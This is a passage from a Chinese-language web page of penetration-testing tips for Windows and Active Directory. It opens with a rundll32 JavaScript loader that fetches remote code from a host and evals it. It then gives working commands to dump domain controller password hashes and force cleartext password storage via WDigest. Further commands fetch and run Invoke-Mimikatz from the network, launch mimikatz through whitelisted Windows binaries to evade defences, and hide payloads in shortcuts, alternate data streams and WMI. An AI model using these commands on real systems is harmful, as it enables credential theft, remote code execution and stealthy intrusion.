&lt;pre&gt;&lt;code&gt;rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，该RAT工具还可通过以下方法加载：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;vbs，js，exe，dll，shellcode&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《JavaScript Backdoor》&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《JavaScript Phishing》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_14" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 13. 可通过内存dump还原出putty&amp;amp;pageant的密钥&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;windows和Linux均适用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Memory Dump利用实例》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_15" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 14. 针对Visual Studio的钓鱼利用&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Visual C++：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修改.vcxproj文件
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Visual Basic：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修改.vbproj文件
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Visual F#：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修改.fsproj文件
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Visual Studio对以上任一工程编译时，能够执行任意代码&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Pay close attention to your download code——Visual Studio trick to run code when building》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_16" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 15. 32位程序在64位Windows系统下执行的时候，如果有对注册表和文件的操作，存在重定向&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对注册表操作：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;访问HKLM\Software\的实际路径为HKLM\Software\Wow6432Node\&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对文件操作：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;访问c:\windows\Sysnative\ 的实际路径为 c:\windows\system32\&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;访问c:\windows\system32\ 的实际路径为 c:\windows\SysWOW64\&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《关于32位程序在64位系统下运行中需要注意的重定向问题》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_17" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 16. 获取Windows域控所有用户hash&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_18" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;复制ntds.dit：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用NinjaCopy，https://github.com/3gstudent/NinjaCopy&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;导出hash：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用quarkspwdump，https://github.com/quarkslab/quarkspwdump&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt c：\test\ntds.dit -o c：\test\log.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_19" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用powershell：DSInternals PowerShell Module&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用条件：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows PowerShell 3.0 or 3.0+&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;.NET Framework 4.0 or 4.0+&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《导出当前域内所有用户hash的技术整理》&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《利用Powershell快速导出域控所有用户Hash》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_20" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 17. 导出Windows系统明文口令&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows Server 2012默认无法使用mimikatz导出明文口令，部分Windows Server 2008也一样&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;解决方法：启用Wdigest Auth&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;cmd:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;or&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;重启或者用户再次登录，能够导出明文口令&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《域渗透——Dump Clear-Text Password after KB2871997 installed》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_21" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 18. 可通过Hook PasswordChangeNotify实时记录域控管理员的新密码&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，可选择保存在本地或是将密码上传至服务器&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《域渗透——Hook PasswordChangeNotify》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_22" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 19. 在域渗透时要记得留意域内主机的本地管理员账号&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果管理员疏忽，域内主机使用相同的本地管理员账号，可以通过pass-the-hash远程登录域内其他主机&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《域渗透——Local Administrator Password Solution》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_23" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 20. 通过powershell获取dll的导出函数&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Get-Exports -DllPath c:\Windows\system32\dimsjob.dll -ExportsToCpp C:\test\export.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.3(Use-odbcconf-to-load-dll-&amp;-Get-Exports-&amp;-ETW-USB-Keylogger)/"&gt;《Study Notes Weekly No.3(Use odbcconf to load dll &amp;amp; Get-Exports &amp;amp; ETW USB Keylogger)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_24" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 21. 快捷方式的参数隐藏技巧&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将payload放置在260个空字符之后，这样无法在文件属性查看payload，可以用来在快捷方式中隐藏payload，欺骗用户点击，隐蔽执行代码&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%BF%AB%E6%8D%B7%E6%96%B9%E5%BC%8F%E6%96%87%E4%BB%B6%E7%9A%84%E5%8F%82%E6%95%B0%E9%9A%90%E8%97%8F%E6%8A%80%E5%B7%A7/"&gt;《渗透技巧——快捷方式文件的参数隐藏技巧》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_25" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 22. 32位程序能够对64位进程进行远程注入&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/32%E4%BD%8D%E7%A8%8B%E5%BA%8F%E5%AF%B964%E4%BD%8D%E8%BF%9B%E7%A8%8B%E7%9A%84%E8%BF%9C%E7%A8%8B%E6%B3%A8%E5%85%A5%E5%AE%9E%E7%8E%B0/"&gt;《32位程序对64位进程的远程注入实现》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_26" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 23. system权限的进程在某些情况下需要进行降权&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用sytem权限的进程可能会遇到以下问题:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;1.无法获得当前用户的文件内容&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;例如无法捕获用户的屏幕&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;2.环境变量有差异&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;因此需要降权到当前用户&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;降权方法1：使用SelectMyParent.exe&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;代码下载地址：https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/Processauthority.cpp&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8D%E6%9D%83%E5%90%AF%E5%8A%A8/"&gt;《渗透技巧——程序的降权启动》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;降权方法2：使用msdtc&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用msdtc会以system权限加载oci.dll，但在管理员权限cmd执行：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;msdtc -install&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;启动的calc.exe为high权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/"&gt;《Use msdtc to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_27" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 24. 通过命令行能够对Windows系统安装WinPcap，这样就可以在Windows跳板上使用nmap和Masscan&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%B9%B3%E5%8F%B0%E8%BF%90%E8%A1%8CMasscan%E5%92%8CNmap/"&gt;《渗透技巧——Windows平台运行Masscan和Nmap》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_28" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 25. Windows平台执行mimikatz的方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_29" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：通过powershell&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_30" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：通过InstallUtil.exe&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《利用白名单绕过360实例》&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《利用白名单绕过限制的更多测试》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_31" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：通过regsvr32.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将mimikatz封装到dll中，通过regsvr32传入参数运行mimkatz&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32 katz.dll,EntryPoint log coffee exit  &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Code Execution of Regsvr32.exe》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_32" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：通过msbuild.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;下载xml文件，保存为a.xml：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;cmd：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes a.xml&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/"&gt;《Use MSBuild To Do More》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_33" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：通过csi.exe&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;"C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.4(Use-tracker-to-load-dll-&amp;-Use-csi-to-bypass-UMCI-&amp;-Execute-C-from-XSLT-file)/"&gt;《Study Notes Weekly No.4(Use tracker to load dll &amp;amp; Use csi to bypass UMCI &amp;amp; Execute C# from XSLT file)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_34" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：通过js/vbs脚本&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gist.github.com/subTee/5c636b8736530fb20c3d&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/"&gt;《利用JS加载.Net程序》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_35" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 26. Windows系统中可供存储和读取payload的位置&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_36" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：WMI&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;存储：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put() &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读取：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《WMI Backdoor》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_37" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：包含数字签名的PE文件&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;利用文件hash的算法缺陷，向PE文件中隐藏Payload，同时不影响该PE文件的数字签名&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://github.com/3gstudent/Pentest-and-Development-Tips/edit/master/README.md"&gt;《隐写技巧-在PE文件的数字证书中隐藏Payload》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_38" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：特殊ADS&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(1)...&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;type putty.exe &amp;gt; ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(2)特殊COM文件&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;type putty.exe &amp;gt; \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(3)磁盘根目录&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;type putty.exe &amp;gt;C:\:putty.exe 
wmic process call create C:\:putty.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Hidden-Alternative-Data-Streams%E7%9A%84%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7/"&gt;《Hidden Alternative Data Streams的进阶利用技巧》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_39" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 27. Windows系统中值得搜集的信息&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_40" class="h16"&gt;&lt;span class="span_for_h"&gt;(1)已注册的WMI信息&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
